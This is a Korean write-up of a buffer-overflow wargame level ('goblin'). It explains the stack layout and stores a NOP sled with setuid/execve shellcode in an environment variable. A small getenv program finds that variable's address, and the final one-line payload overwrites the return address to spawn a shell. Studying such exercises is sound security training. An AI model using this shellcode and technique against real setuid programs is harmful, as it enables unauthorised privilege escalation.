[목차]

 

 

1. 문제 확인

2. 공격 방식 정리

3. 문제 풀이

 

 

 

 


 

 

 

[문제 확인]

 

 

 

1. 힌트 파일 분석

제공된 파일 확인 > 임시 폴더 생성 후 setuid 실행 파일 복사 > 소스 코드 분석

 

이전 단계와 거의 동일

 

 

LEVEL1과 다른점은 버퍼 크기가 작아졌다는 것,

따라서 환경변수에 셸코드를 올려놓고

RET주소를 해당 환경변수로 변경한다.

 

 

 

2. 메모리 구조 확인

더미 공간은 없다고 했으니

메모리 공간 구조는 아래와 같다.

 

buffer (16) | SFP(EBP) (4) | RET (4)

 

 

 

3. 공격 방법 확인

buffer + SFP = 20 바이트 공간을 NOP으로 채우고

RET 주소를 쉘 생성코드가 저장되어 있는 주소로 덮어 씌우면

쉘이 떨어지게 될 것이다.

 

 

그러면 공격 진행에 필요한

환경변수에 쉘 코드를 올려 놓는 방법을 살펴보자.

 

 

 


 

 

 

[공격 방식 정리]

 

 

환경변수는 메모리 어딘가에 저장되어 있고

언제든 포인터를 활용해 환경변수를 사용할 수 있다.

 

따라서 환경변수에 쉘 생성코드를 넣어주고

해당 환경변수의 주소를 알아내어 사용하면 된다.

 

환경변수에 쉘 생성코드를 넣는 방법과

환경 변수가 위치한 정확한 주소를 알아내는

프로그램을 에그쉘, 에그 헌터라 한다.

 

 

1. 쉘 코드를 활용하여 환경변수에 등록 예

 

$ export SHELLCODE=`python -c 'print "\x90"*100 + "\x31\xc0\xb0\x31\xcd\x80\x89\xc1\x89\xc3\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89 \xe1\x31\xd2\xb0\x0b\xcd\x80"'`

 

or

 

vi egg.c

 

 

 

$ vi getenv.c

#include <stdio.h>


int main(int argc, char * argv[])
{
    printf("[%p] \n", getenv(argv[1]));

    return 0;
}

 

$ ./getenv SHELLCODE

[0xbffffd69] > 실제 에그 쉘 주소

 

 

 


 

 

 

공격 구문

$ (python -c 'print "\x90"*20+"\x6a\xfd\xff\xbf"'; cat;) | ./goblin

 

728x90
반응형

+ Recent posts